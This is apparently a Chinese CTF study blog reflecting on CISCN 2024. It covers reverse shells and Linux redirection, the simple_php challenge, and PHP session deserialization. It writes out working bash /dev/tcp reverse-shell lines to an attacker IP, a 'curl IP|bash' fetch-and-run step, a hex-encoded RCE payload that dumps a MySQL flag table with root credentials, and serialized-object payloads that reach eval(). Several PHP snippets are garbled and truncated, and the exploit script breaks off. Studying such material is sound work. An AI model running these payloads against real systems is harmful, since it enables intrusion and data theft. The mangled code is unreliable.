ciscn2024的一些反思
什么是反弹shell
reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
正向连接
就是我们客户端连服务器
我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接
反向连接
就是让服务器连我们
一般适用于
- 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
- 目标机端口被占用。
- 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
- 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的
- 向web里面的话有可能出现在rce当中过滤的函数实在太多,我们只能去实现反向连shell
常见的方式
Bash反弹shell
首先我们先了解下Linux的连接符号和重定向
什么是重定向:
Linux中的重定向就是将原本要输出到屏幕中的数据信息,重新指向某个特定文件当中,或者定向到黑洞文件(/dev/null)中。
重定向的作用:
在Linux中我们分别使用描述符0,1,2表示
这三个默认的符号文件分别是终端字符设备的软连接/dev/stdin、/dev/stdout、/dev/srderr
表示标准输入、标准输出、和报错
当进程操作一个文件时:
首先程序是无法直接访问硬件,需要借助内核来访问文件
而内核kernel需要利用文件描述(file descriptor)来访问
总结:进程使用文件描述符来管理打开的文件对应关系
通常程序访问一个文件至少会打开三个标准文件,分别是标准输入,标准输出,错误输出
进程将从标准输入中的到数据,将正常输出打印至屏幕终端,将错误的输出信息也打印至屏幕终端
重定向
我们使用>或者>>时符号左边表示文件描述符,没有的话默认是1(标准输出)符号右边可以是文件也可以是输出设备(linux中万物都是文件,且设备也是文件)当使用>时,会判断右边的文件存不存在,如果存在的话就先删除,然后创建一个新的文件,不存在的话则直接创建。但是当使用>>进行追加时,则不会删除原来已经存在的文件
简单用法就不举例子了
高级用法:
#将错误输出信息关闭掉,控制台只打印了标准输出
[root@sccprocddev02:/home/upro01]cat 1.txt 2.txt 2>&- |
this is a.txt
[root@sccprocddev02:/home/upro01]cat 1.txt 2.txt 2>/dev/null |
this is a.txt
#&[n] 代表是已经存在的文件描述符,&1 代表输出 &2代表错误输出&-代表关闭与它绑定的描述符
#/dev/null 这个设备,是linux 中黑洞设备,什么信息只要输出给这个设备,都会给吃掉
#关闭所有输出
#关闭 1 ,2 文件描述符
[root@sccprocddev02:/home/upro01]cat 1.txt 2.txt 1>&- 2>&- |
#将1,2 输出转发给/dev/null设备
[chengmo@centos5 shell]$ ls test.sh test1.sh 2>/dev/null 1>/dev/null |
[root@sccprocddev02:/home/upro01]cat 1.txt 2.txt >/dev/null 2>&1 |
#将标准输出fd=1重定向到/dev/null文件,然后将fd=2重定向到fd=1所绑定的/dev/null文件。这种常用文件描述符前必须有个 &, 否则2>1就变成将错误输出输出到一个名为1的文件。
[root@sccprocddev02:/home/upro01]cat 1.txt 2.txt &>/dev/null |
#&>代表将标准输出与标准错误重定向到/dev/null文件
输入重定向实例
我们使用<
对输入做重定向,如果符号左边没有写值,那么默认就是0。 格式:
command-line [n] <文件 |
命令默认从键盘获得的输入,使用输入重定向改成从文件,或者其它打开文件以及设备输入。执行这个命令,将标准输入0,与文件或设备绑定,将由它进行输入。
[root@sccprocddev02:/home/upro01]cat > stdout.txt |
#这里使用ctrl+d 或者ctrl+c退出输入
#从标准输入[键盘]获得数据,然后输出给stdout.txt文件
[root@sccprocddev02:/home/upro01]cat > stdout2.txt < stdout.txt
[root@sccprocddev02:/home/upro01]cat stdout2.txt
this is stdout.txt
#从stdout.txt获得输入数据,然后输出给文件stdout2.txt
[root@sccprocddev02:/home/upro01]cat > stdout3.txt << end
first line
second line
end
[root@sccprocddev02:/home/upro01]#cat stdout3.txt
first line
second line
#<< 这个连续两个小符号, 他代表的是[结束的输入字符]的意思。这样当空行输入end字符时,自动退出输入,不需要使用ctrl+d或者ctrl+c退出
先简单了解下这两个
回到Bash反弹shell
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 |
或
bash -c “bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1” #更稳定
#bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
&[n] 代表是已经存在的文件描述符,&1 代表输出 &2代表错误输出&-代表关闭与它绑定的描述符
所以这段指令就是在目标及和主机之间进行一个bash的shell交互环境,在主机上从键盘输出到0(也就是输出到目标机上比如我们执行指令),目标机进行输出(收到主机的指令,进行输出到主机上面)从而形成回路
然后攻击机在本地监听就可以了
nc -lvvn 2333
Curl配合Bash反弹shell首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
#使用 bash -i 命令启动一个交互式的 Bash shell。然后将 shell 的标准输入、标准输出和标准错误重定向到 TCP 连接上,连接到 IP 地址 47.xxx.xxx.72 的 2333 端口
并开启2333端口的监听然后再目标机上执行如下,即可反弹shell:
curl 47.xxx.xxx.72|bash
#使用curl指令从 IP 地址 47.xxx.xxx.72 下载一个文件或脚本。然后将下载的内容通过管道符 | 传递给 bash 命令,也就是执行这个下载的脚本。
curl IP|bash
中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。
基本了解了bash的反弹shell之后我们找题目
error_reporting(0); |
这个题目的关键函数
strCheck()函数是用来检查输入的命令是否包含一些危险的关键字,比如;、&、$等。如果包含这些关键字,函数会直接退出并输出”i hate this”。
cmd进行传参传给strCheck()
如果strCheck()函数没有拦截该命令,代码会使用
shell_exec()函数执行该命令
shell_exec()是PHP中用于执行系统命令的一个函数。它的作用是执行一个外部程序或命令,并将该命令的输出以字符串的形式返回。
用了shell_exec函数执行命令,但是不能回显,这里可以用重定向将命令写入到指定的文件
利用重定向执行ls / 输出到1.txt
进入1.txt
执行同样操作
看到flag,下面将flag进行输出
再次访问1.txt得到flag
CISCN2024 simple_php
今年国赛的一道题目
属实让我一脸懵逼
|
很多函数我都没见过,还过滤这么多东西
坐牢一下午
函数就不进行解释了
发现可以通过换行符进行了绕过
看了一些wp,这些人是这么想到的?他们竟然能用rce来做这题
payload
cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1))); |
php -r这真让人难以想到
找到flag就可以了
文章:https://xia0ji233.pro/2024/05/19/CISCN2024/index.html
还有一种就是反弹shell了
以为可以%0a换行符号绕过
在复现之前我得先搭建个服务器给自己
所以这几天我看能不能搭建自己的服务器
PHP的session反序列化漏洞
反序列化还是有一点点的基础,现在的想法就是边做题边看wp边学习做笔记,先学广在慢慢学精
SESSION先了解下
PHP Session 概述
session 是一种客户与网站(服务器)更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用(保持)这个会话,从而让访问者与网站之间建立了一种“对话”机制。
这是官方的解释
session 会话会为每一个开启了 session 会话的访问者建立一个唯一的会话 ID ,用于识别用户。该会话 ID 可能存储于用户电脑的 cookie 内,也可能通过 URL 来传递。而对应的具体 session 值会存储于服务器端,这也是与 cookie 的主要区别,并且安全性相对较高。
回到session的反序列化
在php.ini中存在三项配置项:
session.save_path=""
–设置session的存储路径session.save_handler=""
–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)session.auto_start boolen
–指定会话模块是否在请求开始时启动一个会话,默认为0不启动session.serialize_handler string
–定义用来序列化/反序列化的处理器名字。默认使用php
以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
举例:
session.save_path="D:\xampp\tmp"
表明所有的session文件都是存储在xampp/tmp下session.save_handler=files
表明session是以文件的方式来进行存储的session.auto_start=0
表明默认不启动sessionsession.serialize_handler=php
表明session的默认序列话引擎使用的是php序列话引擎
- php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
- php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
- php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
存储机制
php中的session中的内容并不是放在内存中**的,而是以*文件******的方式来存储的,存储方式就是由配置项session.save_handler
来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
假设我们的环境是xampp,那么默认配置如上所述。
|
SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}
。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。
在php_binary引擎下:
|
SESSION文件的内容是names:6:"spoock";
。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";
。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)
序列化简单利用
func = "phpinfo()"; } function __wakeup(){ eval($this->func); } } unserialize($_GET['a']); ?>在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()
方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}
。
得到的反序列化内容是
object(syclover)[1]
public ‘func’ => string ‘echo “spoock”;’ (length=14)
PHP Session中的序列化危害
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:
$_SESSION[
‘ryat’] =
‘|O:11:”PeopleClass”:0:{}’``;
上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}
。
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:
array
(size=1)
‘a:1:{s:6:”spoock”;s:24:”‘
=>
object(__PHP_Incomplete_Class)[1]
public
‘__PHP_Incomplete_Class_Name’
=> string ``’PeopleClass’
(length=11)
这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"
作为SESSION的key,将O:11:"PeopleClass":0:{}
作为value,然后进行反序列化,最后就会得到PeopleClas这个类。 这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。
实际利用
存在s1.php和us2.php,2个文件所使用的SESSION的引擎(session.serialize_handler)不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session
hi = `'phpinfo();';` }`` function` `__destruct() { `eval`(`$this`->hi); ` ``}` `} **当访问s1.php时,提交如下的数据:** localhost/s1.php?a=|O:5:`"lemon"`:1:{s:2:`"hi"`;s:14:`"echo "`spoock`";"`;} 此时传入的数据会按照php_serialize来进行序列化。 此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的`eval()`方法。 例题 # **CTFSHOW 新生杯** ### **剪刀石头布** 考查[session](https://so.csdn.net/so/search?q=session&spm=1001.2101.3001.7020)反序列化漏洞。 不同的session处理器会导致[反序列化](https://so.csdn.net/so/search?q=反序列化&spm=1001.2101.3001.7020)漏洞 exp:import requests |
|
|